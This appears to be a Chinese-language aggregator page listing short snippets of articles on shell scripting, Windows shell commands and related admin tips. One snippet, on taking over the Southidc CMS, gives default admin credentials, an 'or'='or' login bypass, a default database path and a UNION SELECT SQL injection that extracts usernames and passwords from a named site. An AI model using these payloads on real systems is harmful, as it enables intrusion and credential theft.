修改Ubuntu dash shell為bash shell

從 ubuntu 6.10 開始,ubuntu 就將先前預設的bash shell 更換成了dash shell;其表現為 /bin/sh 連結倒了/bin/dash而不是傳統的/bin/bash。ubuntu edgy是第一個將dash作為預設shell來發行的版本,這似乎是受了debian的影響。wiki

shell 知識點補充(6)-exit/expr

1、Linux命令之exit - 退出當前shell用途說明exit命令用於退出當前shell,在shell指令碼中可以終止當前指令碼執行,不退出的話,可能會繼續執行後面的程式。 常用參數格式:exit n退出。設定退出碼為n。(Cause the shell to exit with a status of n.) 格式:exit退出。退出碼不變,即為最後一個命令的退出碼。(If n is omitted, the exit status is that ofthe  last 

linux shell學習中

Regex   $       匹配輸入字串的結尾位置。如果設定了 RegExp 對象的 Multiline 屬性,則 $ 也匹配 '/n' 或 '/r'。要匹配 $ 字元本身,請使用 /$。   ( )標記一個子運算式的開始和結束位置。子運算式可以擷取供以後使用。要匹配這些字元,請使用 /( 和 /)。    *匹配前面的子運算式零次或多次。要匹配 * 字元,請使用 /*。   +匹配前面的子運算式一次或多次。要匹配 + 字元,請使用 /+。   

安裝TD外掛程式後,VSS的“microsoft windows user shell”問題

為了實現QTP與TestDirector8.0的串連,我安裝了TDPlugInsSetup.exe外掛程式,沒想到該外掛程式與VSS不相容。當啟動VSS時,彈出錯誤提示框,說是“microsoft windows user

Shell 編程(3)

執行個體  一般編程步驟  現在我們來討論編寫一個指令碼的一般步驟。任何優秀的指令碼都應該具有協助和輸入參數。並且寫一個偽指令碼(framework.sh),該指令碼包含了大多數指令碼都需要的架構結構,是一個非常不錯的主意。這時候,在寫一個新的指令碼時我們只需要執行一下copy命令: cp framework.sh myscript  然後再插入自己的函數。  讓我們再看兩個例子:   二進位到十進位的轉換  指令碼 b2d 將位元 (比如 1101)

shell編程(轉三呼的一篇文章)

武漢大學國際軟體學院 2010級國際2班 李三乎        好久沒寫日誌了,今天寫一個。        對於一種新的語言的學習,最近感覺書上還是很經典的,雖然從標識符開始講很讓人不爽,但是現在發現要想快速掌握一門語言的話按照書上的結構還是很正確的。當然只是說書上的結構,內容有的還是偏容易。       

Linux Shell中的貨幣符號$

linux腳中經常會遇到貨幣符號 ($),以下是他們代表的含義:$0  shell的命令本身(包括完整路徑)  $1到$9 數字表示shell 的第幾個參數   $# 傳遞到指令碼的參數個數  $* 以一個單字串顯示所有向指令碼傳遞的參數  $$ 指令碼啟動並執行ID號  $! 後台啟動並執行最後一個進程的ID號  $@ 與$*相同。  $- 顯示shell使用的當前選項。  $? 顯示最後命令的執行狀況。0表示沒有錯誤。  舉個例子:test.sh代碼#!/bin/bashecho "\$0

shell讀取檔案

寫法一:----------------------------------------------------------------------------#!/bin/bashwhile read linedo    echo $linedone < file(待讀取的檔案)----------------------------------------------------------------------------寫法二:--------------------------

cmd或shell下讀終端連接埠

1.通用方法regedit /e c:\3389.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"type c:\3389.reg | find "PortNumber"del c:\3389.reg2.xp和2003下reg query

Shell 擴充的分類

Windows 總共支援七種 Shell 擴充程式,它們分別是: 拷貝鉤子處理常式(Copy Hook Handler) 內容相關性功能表處理常式(Context Menu Handler) 拖放處理常式(Drap-and-Drop Handler) 表徵圖處理常式(Icon Handler) 屬性工作表處理常式(Property Sheet Handler) 放置處理常式(Drop Target Handler) 資料處理程式(Data Object

Windows 7 Shell 命令大名單

您可以用"Shell:"命令調用一切可以用資源管理員開啟的項目甚至是一次完成。需要很多步驟才能完成的任務。Windows 7 Only                   shell:Librariesshell:MusicLibraryshell:VideosLibraryshell:OtherUsersFoldershell:Device Metadata Storeshell:PublicSuggestedLocationsshell:DocumentsLibraryshell:User

shell數學運算式

shell程式中的操作預設都是字串操作,在要運行數學運算子的時候可能得到意想不到的答案:var=1var=$var+1echo $varoutput:1+1從這個例子中可以看出shell字串串連的操作,需要注意的是空格。在shell中可以使用let來指示下面是算術運算式:var=1let "var+=1"echo $varoutput:2這其中的let可以用(())代替,就像很多的迴圈中用法一樣:var=1((var++))echo $varoutput:2還有一種寫法:var=1var=$[$

shell if 用法

-b 當file存在並且是塊檔案時返回真 -c 當file存在並且是字元檔案時返回真 -d 當pathname存在並且是一個目錄時返回真 -e 當pathname指定的檔案或目錄存在時返回真 -f 當file存在並且是正規檔案時返回真 -g 當由pathname指定的檔案或目錄存在並且設定了SGID位時返回為真 -h 當file存在並且是符號連結檔案時返回真,該選項在一些老系統上無效 -k 當由pathname指定的檔案或目錄存在並且設定了“粘滯”位時返回真 -p

Solaris shell下操作資料庫

原文發表於網易部落格 2010-08-31 20:17:39     在Solaris shell下操作資料庫,這個過程不是很複雜.整個過程和寫一個ftp登陸的shell一樣.    以下是我參考了網上的資料後自己寫的shell:1.執行sql命令    #!/usr/bin/sh    if [ $# != 2 ]     then      echo "not enough arguments"      exit 1     fi    sqlplus $1/$

Rundll32提示 使用Shell開啟選擇檔案對話方塊以及其它

Rundll32包含了很多系統的指令,下面是我摘錄的關於Rundll32可以執行的命令集合。To bring up the "Format - 3 1/2  Floppy (A:)" window: rundll32.exe shell32.dll,SHFormatDrive To bring up the Control Panel "Date/Time Properties" window: rundll32.exe shell32.dll,Control_RunDLL

Shell編程基礎

我們可以使用任意一種文字編輯器,比如gedit、kedit、emacs、vi等來編寫shell指令碼,它必須以如下行開始(必須放在檔案的第一行): # !/bin/sh...注意:最好使用“!/bin/bash”而不是“!/bin/sh”,如果使用tc shell改為tcsh,其他類似。 符號#!用來告訴系統執行該指令碼的程式,本例使用/bin/sh。編輯結束並儲存後,如果要執行該指令碼,必須先使其可執行: chmod +x filename此後在該指令碼所在目錄下,輸入 ./filename

Shell編程基礎

本文作者:Leal授權許可: 創作共用協議 GNU自由文檔許可證編輯人員:FireHare, Dbzhang800 我們可以使用任意一種文字編輯器,比如gedit、kedit、emacs、vi等來編寫shell指令碼,它必須以如下行開始(必須放在檔案的第一行):# !/bin/sh...符號#!用來告訴系統執行該指令碼的程式,本例使用/bin/sh。編輯結束並儲存後,如果要執行該指令碼,必須先使其可執行:chmod +x filename此後在該指令碼所在目錄下,輸入 ./filename

南方資料管理系統拿shell(一個小小的總結)

預設:admin adminadmin  admin888'or'='or'預設資料庫Databases/079lidc.mdb改樣式上傳:http://www.yangtong.com/admin/southidceditor/admin_style.asp抓包 明小子上傳  注:通殺南方資料 良精系統 網軟天下等 http://www.xxx.cn/NewsType.asp?SmallClass=' union select 0,username+CHR(124)+password,2,3,

shell特殊變數

$# 指令碼的參數個數$* 以一個單字串顯示所有向指令碼傳遞的參數。與位置變數不同,此選項參數可超過9個$$ 指令碼啟動並執行當前進程ID號$! 後台啟動並執行最後一個進程的進程ID號$@ 與$*相同,但是使用時加引號,並在引號中返回每個參數$- 顯示shell使用的當前選項,與set命令功能相同$? 顯示最後命令的退出狀態。0表示沒有錯誤,其他任何值表明有錯誤。$0 指令碼名稱$1..$9 第N個參數 記下來後續方便查詢。

Shell 調用 window 命令之間互動

Linux shell 在Linux 就是一個命令粘合器,很容易把那些工具組合起來,行程一個更強大的工具,或者讓手頭的工作自動化起來。Window上也有batch ,理論上也有這樣的功能。 但是其文法和功能與Linux 上的shell 比起來,不可同日而語。如果有的命令只有window版本,如果用linuxshell 調用window的命令,並且參數傳遞?問題: 想用Linux 上面的shell及其工具如何與window上面的命令結合起來?  答案是:cywin. cywin,在window

總頁數: 301 1 .... 24 25 26 27 28 .... 301 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.